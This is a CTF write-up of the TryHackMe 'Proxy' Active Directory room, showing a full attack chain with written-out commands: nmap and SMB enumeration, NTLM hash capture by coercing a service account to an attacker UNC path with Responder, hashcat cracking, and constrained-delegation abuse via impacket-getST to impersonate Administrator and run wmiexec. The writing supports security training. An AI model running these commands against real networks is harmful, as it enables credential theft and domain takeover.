Press enter or click to view image in full size
By: Kavin Jindal (@Klevr)
Check out the challenge: TryHackMe | Proxy
In this write-up, I will give you a detailed walkthrough of ‘Proxy ’, which is an Active Directory based machine on TryHackMe where you have to gain Administrator access to the network’s domain controller. This machine includes NTLM hash capturing for a service account named svc.scanner which has Constrained Delegation permission to the domain controller. That permission is abused, and access is gained to the machine via the service ticket obtained by impersonating the Administrator.
nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -oA nmap 10.49.142.113# Nmap 7.95 scan initiated Tue Jul 21 21:23:50 2026 as: /usr/lib/nmap/nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -oA nmap 10.49.142.113
Nmap scan report for 10.49.142.113
Host is up (0.018s latency).PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-21 15:53:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-07-21T15:54:42+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.ctf.local
| Not valid before: 2026-05-19T02:27:27
|_Not valid after: 2026-11-18T02:27:27
| rdp-ntlm-info:
| Target_Name: CTF
| NetBIOS_Domain_Name: CTF
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ctf.local
| DNS_Computer_Name: DC01.ctf.local
| DNS_Tree_Name: ctf.local
| Product_Version: 10.0.17763
|_ System_Time: 2026-07-21T15:54:01+00:00
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-07-21T15:54:02
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 21 21:24:42 2026 -- 1 IP address (1 host up) scanned in 52.64 seconds
smbclient -L //10.49.142.113/Press enter or click to view image in full size
IT-Shared share stood out of all. Enumerating it revealed the following files.Press enter or click to view image in full size
IT-Credentials-Backup.txt file revealed the following information about automated processes running on the target periodically.Press enter or click to view image in full size
svc.scanner and svc.mysql were two services running on the target. The svc.scanner process in particular was running every two minutes, looking for new files added to the share.IT-Credentials.txt file revealed the following credentials.Press enter or click to view image in full size
IT-Portal.html was a static webpage that looked like a dashboard as follows.Press enter or click to view image in full size
impacket-lookupsid script to enumerate security identifiers (SIDs) on the target to gain information on the users in the network.impacket-lookupsid ' ':''@10.49.142.113 | awk '{print $2}' | cut -d '\' -f2 users.txtPress enter or click to view image in full size
IT-Onboarding-Checklist.txt file. It was clearly stated that svc.scanner ran every two minutes on the machine and processed new files added to the share. I wondered if I could plant a reverse shell in PowerShell and gain access but it couldn’t work like that.svc.scanner service could be captured via a File Coercion attack.IT-Shared share.Test-Path \\192.168.147.203\icons\icon.icoPress enter or click to view image in full size
icon.ico . This is a basic example of how File Coercion attacks work. Windows assumes that every network path (like the one here) requires authentication due to which it sends the NTLM hash to the respective machine.svc.scanner to process my file.responder -I tun0Press enter or click to view image in full size
hashcat -m 5600 /usr/share/wordlists/rockyou.txt hash.txtPress enter or click to view image in full size
svc.scanner , I went to Bloodhound to further enumerate the network and find any potential exploit paths.bloodhound-python -d ctf.local -u svc.scanner -p [REDACTED] --zip -c ALL -ns 10.49.169.215Press enter or click to view image in full size
svc.scanner had the Allowedtodelegate permission on the Domain controller of the network. I did not have prior knowledge of this topic previously and referred to many online resources to learn about constrained delegation in Active Directory environments.No Shells Required — a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA
Join Medium for free to get updates from this writer.
impacket-findDelegation just for the sake of experimentation to find the delegation of the service account to available targets.Press enter or click to view image in full size
svc.scanner had Constrained Delegation on cifs/DC01.ctf.localimpacket-getST for the same and obtained the ticket.impacket-getST -spn cifs/DC01.ctf.local -dc-ip 10.48.181.127 --impersonate Administrator ctf.local/svc.scanner:[REDACTED_PASSWORD]Press enter or click to view image in full size
wmiexec to authenticate to the target machine using the ticket I had just obtained, but before that it was important to point the ticket to the KRB5CCNAME environment variable.Press enter or click to view image in full size
wmiexec only fetches it from the KRB5CCNAME environment variable hence, it is important to point our downloaded ticket in the .ccache file to the variable as well.impacket-wmiexec -k -no-pass ctf.local/[email protected]Press enter or click to view image in full size
Press enter or click to view image in full size
That was it for this machine. Solving this room was a great learning experience. I hope you found this write-up worth your time. Make sure to follow Avyukt Security for more quality cybersecurity content.
Happy Hacking!